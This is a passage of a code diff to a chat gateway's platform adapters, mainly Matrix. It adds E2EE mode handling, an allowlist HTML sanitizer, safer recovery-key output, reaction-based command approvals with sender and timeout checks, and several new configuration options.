supports_code_blocks: bool = False
+ # The command prefix users can always TYPE on this platform to reach
+ # Hermes commands. Default "/" (most platforms deliver "/approve" etc.
+ # as plain message text). Platforms where typing a leading "/" is
+ # intercepted or restricted by the client (Slack blocks native slash
+ # commands inside threads; Matrix clients reserve "/" for client-local
+ # commands) ship a "!" alias rewrite in their adapter and set this to
+ # "!" so user-facing instruction text ("Reply `!approve` ...") tells
+ # users the form that actually works everywhere. Capability flag —
+ # shared prompt builders read it via getattr(adapter,
+ # "typed_command_prefix", "/"); no per-platform branching at call sites.
+ typed_command_prefix: str = "/"
+
def __init__(self, config: PlatformConfig, platform: Platform):
self.config = config
self.platform = platform
@@ -4462,6 +4482,15 @@ async def _stop_typing_task() -> None:
except Exception:
pass # Last resort — don't let error reporting crash the handler
finally:
+ # Stop typing before any deferred callback work. Post-delivery
+ # callbacks may perform platform I/O; a stuck callback must not
+ # leave the typing refresh task running indefinitely.
+ await _stop_typing_task()
+ try:
+ if hasattr(self, "stop_typing"):
+ await self.stop_typing(event.source.chat_id)
+ except Exception:
+ pass
# Fire any one-shot post-delivery callback registered for this
# session (e.g. deferred background-review notifications).
#
@@ -4489,11 +4518,12 @@ async def _stop_typing_task() -> None:
try:
_post_result = _post_cb()
if inspect.isawaitable(_post_result):
- await _post_result
- except Exception:
+ await asyncio.wait_for(
+ _post_result,
+ timeout=_POST_DELIVERY_CALLBACK_TIMEOUT_SECONDS,
+ )
+ except (asyncio.TimeoutError, Exception):
pass
- # Stop typing indicator
- await _stop_typing_task()
# Also cancel any platform-level persistent typing tasks (e.g. Discord)
# that may have been recreated by _keep_typing after the last stop_typing()
try:
@@ -4651,6 +4681,7 @@ def build_source(
guild_id: Optional[str] = None,
parent_chat_id: Optional[str] = None,
message_id: Optional[str] = None,
+ role_authorized: bool = False,
) -> SessionSource:
"""Helper to build a SessionSource for this platform."""
# Normalize empty topic to None
@@ -4671,6 +4702,7 @@ def build_source(
guild_id=str(guild_id) if guild_id else None,
parent_chat_id=str(parent_chat_id) if parent_chat_id else None,
message_id=str(message_id) if message_id else None,
+ role_authorized=role_authorized,
)
@abstractmethod
diff --git a/gateway/platforms/email.py b/gateway/platforms/email.py
index 0fffb82d0b94..4eb4972b24ec 100644
--- a/gateway/platforms/email.py
+++ b/gateway/platforms/email.py
@@ -470,8 +470,15 @@ async def _dispatch_message(self, msg_data: Dict[str, Any]) -> None:
for att in attachments:
media_urls.append(att["path"])
media_types.append(att["media_type"])
- if att["type"] == "image":
+ if att["type"] == "image" and msg_type == MessageType.TEXT:
msg_type = MessageType.PHOTO
+ elif att["type"] == "document":
+ # Document wins over PHOTO for mixed attachments: run.py's
+ # image handling keys off the per-path image/* mime type
+ # regardless of message_type, but document-context injection
+ # gates strictly on MessageType.DOCUMENT — so DOCUMENT is the
+ # only classification that surfaces both.
+ msg_type = MessageType.DOCUMENT
# Store thread context for reply threading
self._thread_context[sender_addr] = {
diff --git a/gateway/platforms/matrix.py b/gateway/platforms/matrix.py
index e885afc93376..5253c5372594 100644
--- a/gateway/platforms/matrix.py
+++ b/gateway/platforms/matrix.py
@@ -10,32 +10,58 @@
MATRIX_USER_ID Full user ID (@bot:server) — required for password login
MATRIX_PASSWORD Password (alternative to access token)
MATRIX_ENCRYPTION Set "true" to enable E2EE
+ MATRIX_E2EE_MODE off | optional | required. Overrides MATRIX_ENCRYPTION
+ when set. Legacy MATRIX_ENCRYPTION=true maps to required.
MATRIX_DEVICE_ID Stable device ID for E2EE persistence across restarts
MATRIX_PROXY HTTP(S) or SOCKS proxy URL for Matrix traffic
MATRIX_ALLOWED_USERS Comma-separated Matrix user IDs (@user:server)
+ MATRIX_ALLOWED_ROOMS Comma-separated Matrix room IDs allowed to trigger turns
MATRIX_HOME_ROOM Room ID for cron/notification delivery
MATRIX_REACTIONS Set "false" to disable processing lifecycle reactions
(eyes/checkmark/cross). Default: true
MATRIX_REQUIRE_MENTION Require @mention in rooms (default: true)
- MATRIX_FREE_RESPONSE_ROOMS Comma-separated room IDs exempt from mention requirement (alias of matrix.free_response_rooms)
- MATRIX_ALLOWED_ROOMS Comma-separated room IDs; if set, bot ONLY responds in these rooms (whitelist, DMs exempt; alias of matrix.allowed_rooms)
+ MATRIX_FREE_RESPONSE_ROOMS Comma-separated room IDs exempt from mention requirement
+ (alias of matrix.free_response_rooms)
+ MATRIX_ALLOWED_ROOMS Comma-separated room IDs; if set, bot ONLY responds
+ in these rooms (whitelist, DMs exempt; alias of
+ matrix.allowed_rooms)
+ MATRIX_IGNORE_USER_PATTERNS Comma-separated regular expressions for appservice /
+ bridge ghost user IDs to ignore
+ MATRIX_PROCESS_NOTICES Set "true" to process inbound m.notice events
+ (default: false)
+ MATRIX_ALLOW_ROOM_MENTIONS Allow outbound @room mentions to notify whole rooms
+ (default: false)
+ MATRIX_TOOLS_ALLOW_REDACTION
+ Allow Matrix redaction tool execution (default: false)
+ MATRIX_TOOLS_ALLOW_INVITES Allow Matrix invite tool execution (default: false)
+ MATRIX_TOOLS_ALLOW_ROOM_CREATE
+ Allow Matrix room creation tool execution (default: false)
MATRIX_AUTO_THREAD Auto-create threads for room messages (default: true)
MATRIX_DM_AUTO_THREAD Auto-create threads for DM messages (default: false)
MATRIX_RECOVERY_KEY Recovery key for cross-signing verification after device key rotation
MATRIX_DM_MENTION_THREADS Create a thread when bot is @mentioned in a DM (default: false)
+ MATRIX_ALLOW_PUBLIC_ROOMS Allow Matrix tools to create public rooms (default: false)
+ MATRIX_APPROVAL_REQUIRE_SENDER
+ Require reaction controls to come from the original requester
+ when requester metadata is available (default: true)
+ MATRIX_APPROVAL_TIMEOUT_SECONDS
+ Reaction approval/model-picker timeout (default: 300)
"""
from __future__ import annotations
import asyncio
+import inspect
import logging
import mimetypes
import os
import re
import time
-from dataclasses import dataclass
+from urllib.parse import urlsplit, urlunsplit
+from dataclasses import dataclass, field
from html import escape as _html_escape
+from html.parser import HTMLParser
from pathlib import Path
from typing import Any, Dict, Optional, Set
@@ -177,17 +203,139 @@ def _normalize_matrix_bang_command(text: str) -> str:
return f"/{resolved}{match.group(2) or ''}"
+class _MatrixHtmlSanitizer(HTMLParser):
+ """Allowlist sanitizer for Matrix-compatible formatted HTML."""
+
+ _ALLOWED_TAGS = {
+ "a", "b", "blockquote", "br", "code", "del", "em", "h1", "h2", "h3",
+ "h4", "h5", "h6", "hr", "i", "li", "ol", "p", "pre", "s", "strike",
+ "strong", "ul",
+ }
+ _VOID_TAGS = {"br", "hr"}
+
+ def __init__(self) -> None:
+ super().__init__(convert_charrefs=False)
+ self._parts: list[str] = []
+ self._skip_depth = 0
+
+ @staticmethod
+ def _safe_url(value: str) -> str:
+ stripped = re.sub(r"[\x00-\x1f\x7f]+", "", value or "").strip()
+ match = re.match(r"^([A-Za-z][A-Za-z0-9+.-]*):", stripped)
+ scheme = match.group(1).lower() if match else ""
+ if scheme and scheme not in {"http", "https", "matrix", "mailto"}:
+ return ""
+ return stripped
+
+ def _safe_attrs(self, tag: str, attrs: list[tuple[str, str | None]]) -> str:
+ safe: list[str] = []
+ for key, value in attrs:
+ attr = str(key or "").lower()
+ raw_value = "" if value is None else str(value)
+ if attr.startswith("on"):
+ continue
+ if tag == "a" and attr == "href":
+ href = self._safe_url(raw_value)
+ if href:
+ safe.append(f' href="{_html_escape(href, quote=True)}"')
+ elif tag == "code" and attr == "class":
+ if re.fullmatch(r"language-[A-Za-z0-9_+.-]{1,64}", raw_value):
+ safe.append(f' class="{_html_escape(raw_value, quote=True)}"')
+ return "".join(safe)
+
+ def handle_starttag(self, tag: str, attrs: list[tuple[str, str | None]]) -> None:
+ tag = tag.lower()
+ if tag in {"script", "style"}:
+ self._skip_depth += 1
+ return
+ if self._skip_depth:
+ return
+ if tag not in self._ALLOWED_TAGS:
+ return
+ if tag in self._VOID_TAGS:
+ self._parts.append(f"<{tag}>")
+ return
+ self._parts.append(f"<{tag}{self._safe_attrs(tag, attrs)}>")
+
+ def handle_endtag(self, tag: str) -> None:
+ tag = tag.lower()
+ if tag in {"script", "style"} and self._skip_depth:
+ self._skip_depth -= 1
+ return
+ if self._skip_depth or tag not in self._ALLOWED_TAGS or tag in self._VOID_TAGS:
+ return
+ self._parts.append(f"{tag}>")
+
+ def handle_data(self, data: str) -> None:
+ if not self._skip_depth:
+ self._parts.append(_html_escape(data))
+
+ def handle_entityref(self, name: str) -> None:
+ if not self._skip_depth:
+ self._parts.append(f"&{name};")
+
+ def handle_charref(self, name: str) -> None:
+ if not self._skip_depth:
+ self._parts.append(f"{name};")
+
+ def get_html(self) -> str:
+ return "".join(self._parts)
+
+
+@dataclass(frozen=True)
+class MatrixRoomIdentity:
+ """Resolved Matrix room identity for routing and prompt context."""
+
+ room_id: str
+ room_name: str | None
+ room_topic: str | None
+ canonical_alias: str | None
+ server_name: str | None
+ joined_member_count: int | None
+ is_direct_account_data: bool
+ display_name: str
+ has_explicit_name: bool
+ chat_type: str
+ conflict: bool = False
+
+
@dataclass
class _MatrixApprovalPrompt:
"""Tracks a pending Matrix reaction-based exec approval prompt."""
- def __init__(self, session_key: str, chat_id: str, message_id: str, resolved: bool = False):
+ def __init__(
+ self,
+ session_key: str,
+ chat_id: str,
+ message_id: str,
+ resolved: bool = False,
+ requester_user_id: str | None = None,
+ expires_at: float | None = None,
+ ):
self.session_key = session_key
self.chat_id = chat_id
self.message_id = message_id
self.resolved = resolved
+ self.requester_user_id = requester_user_id
+ self.expires_at = expires_at
self.bot_reaction_events: dict[str, str] = {} # emoji -> event_id
+
+@dataclass
+class _MatrixModelPickerPrompt:
+ """Tracks a pending Matrix reaction-based model picker prompt."""
+
+ chat_id: str
+ message_id: str
+ session_key: str
+ choices: dict[str, tuple[str, str]]
+ on_model_selected: Any
+ requester_user_id: str | None = None
+ expires_at: float | None = None
+ resolved: bool = False
+ bot_reaction_events: dict[str, str] = field(default_factory=dict)
+
+
# Matrix message size limit (4000 chars practical, spec has no hard limit
# but clients render poorly above this).
MAX_MESSAGE_LENGTH = 4000
@@ -224,6 +372,40 @@ def __init__(self, session_key: str, chat_id: str, message_id: str, resolved: bo
".avif",
})
+_MATRIX_MODEL_PICKER_REACTIONS = (
+ "1\ufe0f\u20e3",
+ "2\ufe0f\u20e3",
+ "3\ufe0f\u20e3",
+ "4\ufe0f\u20e3",
+ "5\ufe0f\u20e3",
+ "6\ufe0f\u20e3",
+ "7\ufe0f\u20e3",
+ "8\ufe0f\u20e3",
+ "9\ufe0f\u20e3",
+ "\U0001f51f",
+)
+
+_MATRIX_CAPABILITIES: Dict[str, str] = {
+ "text": "yes",
+ "threads": "yes",
+ "reactions": "yes",
+ "approvals": "yes",
+ "model picker": "yes",
+ "thinking panes": "yes",
+ "images": "yes",
+ "multiple images": "yes",
+ "files": "yes",
+ "voice/audio": "yes",
+ "video": "yes",
+ "E2EE": "off / optional / required",
+ "diagnostics": "yes",
+}
+
+
+def get_matrix_capabilities() -> Dict[str, str]:
+ """Return Matrix gateway capabilities for docs and release checks."""
+ return dict(_MATRIX_CAPABILITIES)
+
def _looks_like_matrix_image_filename(text: str) -> bool:
"""Return True when Matrix image body text is probably just a transport filename.
@@ -250,6 +432,26 @@ def _looks_like_matrix_image_filename(text: str) -> bool:
return suffix in _MATRIX_IMAGE_FILENAME_EXTS
+def _matrix_event_timestamp_seconds(event: Any) -> float:
+ """Return a Matrix event timestamp in seconds, accepting ms or sec values."""
+ raw_ts = (
+ getattr(event, "timestamp", None)
+ or getattr(event, "server_timestamp", None)
+ or 0
+ )
+ if not raw_ts:
+ return 0.0
+ try:
+ ts = float(raw_ts)
+ except (TypeError, ValueError):
+ return 0.0
+ # Matrix origin_server_ts is milliseconds. Some tests/fakes and SDK objects
+ # expose seconds; do not turn those into 1970-era timestamps.
+ if ts > 10_000_000_000:
+ return ts / 1000.0
+ return ts
+
+
def _create_matrix_session(proxy_url: str | None):
"""Create an ``aiohttp.ClientSession`` whose proxy applies to *all* requests.
@@ -306,6 +508,159 @@ def _check_e2ee_deps() -> bool:
return False
+def _normalize_e2ee_mode(value: Any) -> str:
+ """Normalize Matrix E2EE mode to off/optional/required."""
+ raw = str(value or "").strip().lower()
+ if raw in ("required", "require", "true", "1", "yes", "on"):
+ return "required"
+ if raw in ("optional", "prefer", "preferred"):
+ return "optional"
+ return "off"
+
+
+def _resolve_e2ee_mode(extra: Optional[Dict[str, Any]] = None) -> str:
+ """Resolve E2EE mode with MATRIX_ENCRYPTION backwards compatibility."""
+ extra = extra or {}
+ explicit = extra.get("e2ee_mode") or os.getenv("MATRIX_E2EE_MODE", "")
+ if explicit:
+ return _normalize_e2ee_mode(explicit)
+ legacy_enabled = extra.get(
+ "encryption",
+ os.getenv("MATRIX_ENCRYPTION", "").lower() in ("true", "1", "yes"),
+ )
+ return "required" if legacy_enabled else "off"
+
+
+def _redact_matrix_value(value: Any) -> str:
+ """Return a safe, non-reversible preview for Matrix diagnostics."""
+ text = str(value or "").strip()
+ if not text:
+ return ""
+ return "***"
+
+
+def _write_matrix_recovery_key_output_file(recovery_key: str) -> Optional[Path]:
+ """Write a generated Matrix recovery key to an operator-chosen file.
+
+ The file is created with mode 0600 and never overwritten. Returns the path
+ when written, otherwise None.
+ """
+ output_file = os.getenv("MATRIX_RECOVERY_KEY_OUTPUT_FILE", "").strip()
+ if not output_file:
+ return None
+ path = Path(output_file).expanduser()
+ path.parent.mkdir(parents=True, exist_ok=True)
+ flags = os.O_WRONLY | os.O_CREAT | os.O_EXCL
+ fd = os.open(path, flags, 0o600)
+ try:
+ with os.fdopen(fd, "w", encoding="utf-8") as fh:
+ fh.write(recovery_key)
+ fh.write("\n")
+ except Exception:
+ try:
+ os.close(fd)
+ except OSError:
+ pass
+ raise
+ return path
+
+
+def _get_matrix_recovery_key_output_target() -> tuple[Optional[Path], str]:
+ """Return a usable one-time recovery-key output path, or a redacted reason."""
+ output_file = os.getenv("MATRIX_RECOVERY_KEY_OUTPUT_FILE", "").strip()
+ if not output_file:
+ return None, "not_configured"
+ path = Path(output_file).expanduser()
+ if path.exists():
+ return None, "exists"
+ try:
+ path.parent.mkdir(parents=True, exist_ok=True)
+ except Exception as exc:
+ return None, f"unusable: {exc}"
+ return path, ""
+
+
+def _handle_generated_matrix_recovery_key(mxid: str, recovery_key: str) -> None:
+ """Handle a freshly generated Matrix recovery key without logging it."""
+ try:
+ output_path = _write_matrix_recovery_key_output_file(recovery_key)
+ except FileExistsError:
+ logger.warning(
+ "Matrix: bootstrapped cross-signing for %s. Recovery key output file "
+ "already exists; refusing to overwrite. Store the generated key "
+ "securely and set MATRIX_RECOVERY_KEY for future restarts.",
+ mxid,
+ )
+ return
+ except Exception as exc:
+ logger.warning(
+ "Matrix: bootstrapped cross-signing for %s, but failed to write "
+ "MATRIX_RECOVERY_KEY_OUTPUT_FILE: %s. Store the generated key "
+ "securely and set MATRIX_RECOVERY_KEY for future restarts.",
+ mxid,
+ exc,
+ )
+ return
+
+ if output_path:
+ logger.warning(
+ "Matrix: bootstrapped cross-signing for %s. A new recovery key was "
+ "written to %s with mode 0600. Move it to your secret store and set "
+ "MATRIX_RECOVERY_KEY for future restarts.",
+ mxid,
+ output_path,
+ )
+ else:
+ logger.warning(
+ "Matrix: bootstrapped cross-signing for %s. A new recovery key was "
+ "generated but will not be logged. Set MATRIX_RECOVERY_KEY_OUTPUT_FILE "
+ "to write it once with mode 0600, or configure MATRIX_RECOVERY_KEY "
+ "from your Matrix client before future restarts.",
+ mxid,
+ )
+
+
+def _sanitize_matrix_html(html: str) -> str:
+ sanitizer = _MatrixHtmlSanitizer()
+ try:
+ sanitizer.feed(html or "")
+ sanitizer.close()
+ return sanitizer.get_html()
+ except Exception:
+ return _html_escape(html or "")
+
+
+def _redact_url_for_log(url: str) -> str:
+ """Strip query/fragment from URLs before logging signed media links."""
+ try:
+ parts = urlsplit(str(url))
+ if not parts.scheme and not parts.netloc:
+ return str(url).split("?", 1)[0].split("#", 1)[0]
+ return urlunsplit((parts.scheme, parts.netloc, parts.path, "", ""))
+ except Exception:
+ return ""
+
+
+def _pre_sanitize_matrix_markdown(text: str) -> str:
+ """Remove unsafe raw HTML before Markdown conversion can escape it."""
+ result = re.sub(
+ r"(?is)<\s*(script|style)\b[^>]*>.*?<\s*/\s*\1\s*>",
+ "",
+ text or "",
+ )
+ result = re.sub(
+ r"""(?is)\s+on[a-z0-9_-]+\s*=\s*("[^"]*"|'[^']*'|[^\s>]+)""",
+ "",
+ result,
+ )
+ result = re.sub(
+ r"""(?is)\s+(href|src)\s*=\s*("[^"]*(?:javascript|data|vbscript):[^"]*"|'[^']*(?:javascript|data|vbscript):[^']*'|[^\s>]*(?:javascript|data|vbscript):[^\s>]*)""",
+ "",
+ result,
+ )
+ return result
+
+
def check_matrix_requirements() -> bool:
"""Return True if the Matrix adapter can be used.
@@ -371,21 +726,20 @@ def _import():
)
return False
- # If encryption is requested, verify E2EE deps are available at startup
- # rather than silently degrading to plaintext-only at connect time.
- encryption_requested = os.getenv("MATRIX_ENCRYPTION", "").lower() in {
- "true",
- "1",
- "yes",
- }
- if encryption_requested and not _check_e2ee_deps():
+ e2ee_mode = _resolve_e2ee_mode()
+ if e2ee_mode == "required" and not _check_e2ee_deps():
logger.error(
- "Matrix: MATRIX_ENCRYPTION=true but E2EE dependencies are missing. %s. "
+ "Matrix: E2EE is required but dependencies are missing. %s. "
"Without this, encrypted rooms will not work. "
- "Set MATRIX_ENCRYPTION=false to disable E2EE.",
+ "Set MATRIX_E2EE_MODE=off to disable E2EE.",
_E2EE_INSTALL_HINT,
)
return False
+ if e2ee_mode == "optional" and not _check_e2ee_deps():
+ logger.warning(
+ "Matrix: E2EE optional but dependencies are missing. %s",
+ _E2EE_INSTALL_HINT,
+ )
return True
@@ -422,6 +776,11 @@ class MatrixAdapter(BasePlatformAdapter):
supports_code_blocks = True # Matrix renders fenced code blocks (HTML/markdown)
+ # Matrix clients commonly reserve typed "/" for client-local commands;
+ # the adapter accepts "!command" as the alias that always reaches Hermes
+ # (see _normalize_matrix_bang_command), so instruction text shows "!".
+ typed_command_prefix = "!"
+
# Threshold for detecting Matrix client-side message splits.
# When a chunk is near the ~4000-char practical limit, a continuation
# is almost certain.
@@ -440,10 +799,8 @@ def __init__(self, config: PlatformConfig):
self._password: str = config.extra.get("password", "") or os.getenv(
"MATRIX_PASSWORD", ""
)
- self._encryption: bool = config.extra.get(
- "encryption",
- os.getenv("MATRIX_ENCRYPTION", "").lower() in {"true", "1", "yes"},
- )
+ self._e2ee_mode: str = _resolve_e2ee_mode(config.extra)
+ self._encryption: bool = self._e2ee_mode != "off"
self._device_id: str = config.extra.get("device_id", "") or os.getenv(
"MATRIX_DEVICE_ID", ""
)
@@ -464,9 +821,19 @@ def __init__(self, config: PlatformConfig):
self._late_grace_drops: int = 0
self._late_grace_skew: float = 0.0
self._clock_skew_warned: bool = False
+ self._last_sync_ts: float = 0.0
# Cache: room_id → bool (is DM)
self._dm_rooms: Dict[str, bool] = {}
+ self._room_identities: Dict[str, MatrixRoomIdentity] = {}
+ self._room_identity_cached_at: Dict[str, float] = {}
+ try:
+ self._room_identity_ttl_seconds = float(
+ os.getenv("MATRIX_ROOM_IDENTITY_TTL_SECONDS", "60")
+ )
+ except ValueError:
+ self._room_identity_ttl_seconds = 60.0
+ self._room_identity_cache_max = 256
# Set of room IDs we've joined
self._joined_rooms: Set[str] = set()
# Event deduplication (bounded deque keeps newest entries)
@@ -481,10 +848,8 @@ def __init__(self, config: PlatformConfig):
# Thread participation tracking (for require_mention bypass)
self._threads = ThreadParticipationTracker("matrix")
- # Mention/thread gating — parsed once from env vars.
- self._require_mention: bool = os.getenv(
- "MATRIX_REQUIRE_MENTION", "true"
- ).lower() not in {"false", "0", "no"}
+ # Mention/thread gating — parsed once from config.extra or env vars.
+ self._require_mention: bool = self._parse_require_mention(config)
self._thread_require_mention: bool = self._parse_thread_require_mention(config)
free_rooms_raw = config.extra.get("free_response_rooms")
if free_rooms_raw is None:
@@ -509,17 +874,27 @@ def __init__(self, config: PlatformConfig):
self._allowed_rooms: Set[str] = {
r.strip() for r in str(allowed_rooms_raw).split(",") if r.strip()
}
- self._auto_thread: bool = os.getenv("MATRIX_AUTO_THREAD", "true").lower() in {
+ self._allow_room_mentions: bool = os.getenv(
+ "MATRIX_ALLOW_ROOM_MENTIONS", "false"
+ ).lower() in ("true", "1", "yes")
+ self._auto_thread: bool = os.getenv("MATRIX_AUTO_THREAD", "true").lower() in (
"true",
"1",
"yes",
- }
+ )
self._dm_auto_thread: bool = os.getenv(
"MATRIX_DM_AUTO_THREAD", "false"
).lower() in {"true", "1", "yes"}
self._dm_mention_threads: bool = os.getenv(
"MATRIX_DM_MENTION_THREADS", "false"
- ).lower() in {"true", "1", "yes"}
+ ).lower() in ("true", "1", "yes")
+ raw_session_scope = os.getenv("MATRIX_SESSION_SCOPE", "auto").strip().lower()
+ self._matrix_session_scope = (
+ raw_session_scope if raw_session_scope in {"auto", "room", "thread"} else "auto"
+ )
+ self._process_notices: bool = os.getenv(
+ "MATRIX_PROCESS_NOTICES", "false"
+ ).lower() in ("true", "1", "yes")
# Reactions: configurable via MATRIX_REACTIONS (default: true).
self._reactions_enabled: bool = os.getenv(
@@ -537,6 +912,10 @@ def __init__(self, config: PlatformConfig):
self._proxy_url: str | None = resolve_proxy_url(platform_env_var="MATRIX_PROXY")
if self._proxy_url:
logger.info("Matrix: proxy configured — %s", self._proxy_url)
+ try:
+ self._max_media_bytes = int(os.getenv("MATRIX_MAX_MEDIA_BYTES", str(100 * 1024 * 1024)))
+ except ValueError:
+ self._max_media_bytes = 100 * 1024 * 1024
# Text batching: merge rapid successive messages (Telegram-style).
# Matrix clients split long messages around 4000 chars.
@@ -552,14 +931,41 @@ def __init__(self, config: PlatformConfig):
# Matrix reaction-based dangerous command approvals.
self._approval_reaction_map = {
"✅": "once",
+ "♾️": "always",
+ "♾": "always",
+ "\u267e\ufe0f": "always",
+ "\u267e": "always",
+ "❌": "deny",
"❎": "deny",
}
self._approval_prompts_by_event: Dict[str, _MatrixApprovalPrompt] = {}
self._approval_prompt_by_session: Dict[str, str] = {}
+ self._approval_require_sender: bool = os.getenv(
+ "MATRIX_APPROVAL_REQUIRE_SENDER", "true"
+ ).lower() in ("true", "1", "yes")
+ try:
+ self._approval_timeout_seconds = int(
+ os.getenv("MATRIX_APPROVAL_TIMEOUT_SECONDS", "300")
+ )
+ except ValueError:
+ self._approval_timeout_seconds = 300
+ self._model_picker_prompts_by_event: Dict[str, _MatrixModelPickerPrompt] = {}
allowed_users_raw = os.getenv("MATRIX_ALLOWED_USERS", "")
self._allowed_user_ids: Set[str] = {
u.strip() for u in allowed_users_raw.split(",") if u.strip()
}
+ self._allowed_room_ids: Set[str] = set(self._allowed_rooms)
+ ignore_patterns_raw = os.getenv("MATRIX_IGNORE_USER_PATTERNS", "")
+ self._ignored_user_patterns: list[re.Pattern[str]] = []
+ for pattern in (p.strip() for p in ignore_patterns_raw.split(",") if p.strip()):
+ try:
+ self._ignored_user_patterns.append(re.compile(pattern))
+ except re.error as exc:
+ logger.warning(
+ "Matrix: ignoring invalid MATRIX_IGNORE_USER_PATTERNS entry %r: %s",
+ pattern,
+ exc,
+ )
def _is_duplicate_event(self, event_id) -> bool:
"""Return True if this event was already processed. Tracks the ID otherwise."""
@@ -574,6 +980,25 @@ def _is_duplicate_event(self, event_id) -> bool:
self._processed_events_set.add(event_id)
return False
+ @staticmethod
+ def _parse_require_mention(config) -> bool:
+ """Parse require_mention from config.extra or env var.
+
+ Handles both YAML booleans and string values (``\"true\"``, ``\"false\"``,
+ ``\"yes\"``, ``\"no\"``, ``\"on\"``, ``\"off\"``, ``\"1\"``, ``\"0\"``).
+ Falls back to ``MATRIX_REQUIRE_MENTION`` env var, default ``true``.
+ """
+ configured = config.extra.get("require_mention")
+ if configured is not None:
+ if isinstance(configured, bool):
+ return configured
+ if isinstance(configured, str):
+ return configured.lower() not in {"false", "0", "no", "off"}
+ return bool(configured)
+ return os.getenv(
+ "MATRIX_REQUIRE_MENTION", "true"
+ ).lower() not in {"false", "0", "no", "off"}
+
@staticmethod
def _parse_thread_require_mention(config) -> bool:
"""Parse thread_require_mention from config.extra or env var.
@@ -799,173 +1224,180 @@ async def connect(self) -> bool:
# Set up E2EE if requested.
if self._encryption:
if not _check_e2ee_deps():
- logger.error(
- "Matrix: MATRIX_ENCRYPTION=true but E2EE dependencies are missing. %s. "
- "Refusing to connect — encrypted rooms would silently fail.",
- _E2EE_INSTALL_HINT,
- )
- await api.session.close()
- return False
- try:
- from mautrix.crypto import OlmMachine
- from mautrix.crypto.store.asyncpg import PgCryptoStore
- from mautrix.util.async_db import Database
-
- _STORE_DIR.mkdir(parents=True, exist_ok=True)
-
- # Remove legacy pickle file from pre-SQLite era.
- legacy_pickle = _STORE_DIR / "crypto_store.pickle"
- if legacy_pickle.exists():
- logger.info(
- "Matrix: removing legacy crypto_store.pickle (migrated to SQLite)"
+ if self._e2ee_mode == "optional":
+ logger.warning(
+ "Matrix: E2EE optional but dependencies are missing. "
+ "Continuing without encrypted-room support. %s",
+ _E2EE_INSTALL_HINT,
+ )
+ self._encryption = False
+ else:
+ logger.error(
+ "Matrix: E2EE is required but dependencies are missing. %s. "
+ "Refusing to connect — encrypted rooms would silently fail.",
+ _E2EE_INSTALL_HINT,
)
- legacy_pickle.unlink()
-
- # Open SQLite-backed crypto store.
- crypto_db = Database.create(
- f"sqlite:///{_CRYPTO_DB_PATH}",
- upgrade_table=PgCryptoStore.upgrade_table,
- )
- await crypto_db.start()
- self._crypto_db = crypto_db
-
- _acct_id = self._user_id or "hermes"
- _pickle_key = f"{_acct_id}:{self._device_id or 'default'}"
- crypto_store = PgCryptoStore(
- account_id=_acct_id,
- pickle_key=_pickle_key,
- db=crypto_db,
- )
- await crypto_store.open()
-
- # Bind the store to the runtime device_id before any
- # put_account() runs. PgCryptoStore defaults _device_id
- # to "" and its crypto_account UPSERT never updates the
- # device_id column on conflict — so once put_account
- # writes blank, it stays blank forever. That breaks
- # every downstream device-scoped olm operation: peer
- # to-device ciphertext can't find our identity key and
- # no megolm sessions ever land. Setting _device_id here
- # (in-memory; the on-disk row may not exist yet) makes
- # the first put_account write the correct value.
- # DeviceID is a NewType(str) so plain str works at runtime.
- if client.device_id:
- await crypto_store.put_device_id(client.device_id)
-
- crypto_state = _CryptoStateStore(state_store, self._joined_rooms)
- olm = OlmMachine(client, crypto_store, crypto_state)
-
- # Accept unverified devices so senders share Megolm
- # session keys with us automatically.
- olm.share_keys_min_trust = TrustState.UNVERIFIED
- olm.send_keys_min_trust = TrustState.UNVERIFIED
-
- await olm.load()
-
- # Verify our device keys are still on the homeserver.
- if not await self._verify_device_keys_on_server(client, olm):
- await crypto_db.stop()
await api.session.close()
return False
-
- # Proactively flush one-time keys to detect stale OTK
- # conflicts early. When crypto state is wiped but the
- # same device ID is reused, the server may still hold OTKs
- # signed with the old ed25519 key. Identity key re-upload
- # succeeds but OTK uploads fail ("already exists" with
- # mismatched signature). Peers then cannot establish Olm
- # sessions and all new messages are undecryptable.
+ if not self._encryption:
+ pass
+ else:
try:
- await olm.share_keys()
+ from mautrix.crypto import OlmMachine
+ from mautrix.crypto.store.asyncpg import PgCryptoStore
+ from mautrix.util.async_db import Database
+
+ _STORE_DIR.mkdir(parents=True, exist_ok=True)
except Exception as exc:
- exc_str = str(exc)
- if "already exists" in exc_str:
+ if self._e2ee_mode == "optional":
+ logger.warning(
+ "Matrix: failed to import optional E2EE client; "
+ "continuing without encrypted-room support: %s. %s",
+ exc,
+ _E2EE_INSTALL_HINT,
+ )
+ self._encryption = False
+ else:
logger.error(
- "Matrix: device %s has stale one-time keys on the "
- "server signed with a previous identity key. "
- "Peers cannot establish new Olm sessions with "
- "this device. Delete the device from the "
- "homeserver and restart, or generate a new "
- "access token to get a fresh device ID.",
- client.device_id,
+ "Matrix: failed to import E2EE client: %s. %s",
+ exc,
+ _E2EE_INSTALL_HINT,
)
- await crypto_db.stop()
await api.session.close()
return False
- # Non-OTK errors are transient (network, etc.) — log
- # but allow startup to continue.
- logger.warning(
- "Matrix: share_keys() warning during startup: %s",
- exc,
+ if self._encryption:
+ try:
+ # Remove legacy pickle file from pre-SQLite era.
+ legacy_pickle = _STORE_DIR / "crypto_store.pickle"
+ if legacy_pickle.exists():
+ logger.info(
+ "Matrix: removing legacy crypto_store.pickle (migrated to SQLite)"
+ )
+ legacy_pickle.unlink()
+
+ crypto_db = Database.create(
+ f"sqlite:///{_CRYPTO_DB_PATH}",
+ upgrade_table=PgCryptoStore.upgrade_table,
+ )
+ await crypto_db.start()
+ self._crypto_db = crypto_db
+
+ _acct_id = self._user_id or "hermes"
+ _pickle_key = f"{_acct_id}:{self._device_id or 'default'}"
+ crypto_store = PgCryptoStore(
+ account_id=_acct_id,
+ pickle_key=_pickle_key,
+ db=crypto_db,
)
+ await crypto_store.open()
+
+ if client.device_id:
+ await crypto_store.put_device_id(client.device_id)
+
+ crypto_state = _CryptoStateStore(state_store, self._joined_rooms)
+ olm = OlmMachine(client, crypto_store, crypto_state)
+ olm.share_keys_min_trust = TrustState.UNVERIFIED
+ olm.send_keys_min_trust = TrustState.UNVERIFIED
+
+ await olm.load()
+
+ if not await self._verify_device_keys_on_server(client, olm):
+ await crypto_db.stop()
+ await api.session.close()
+ return False
- # Import cross-signing private keys from SSSS and self-sign
- # the current device. Required after any device-key rotation
- # (fresh crypto.db, share_keys re-upload) — otherwise the
- # device's self-signing signature is stale and peers refuse
- # to share Megolm sessions with the rotated device.
- recovery_key = os.getenv("MATRIX_RECOVERY_KEY", "").strip()
- if recovery_key:
- try:
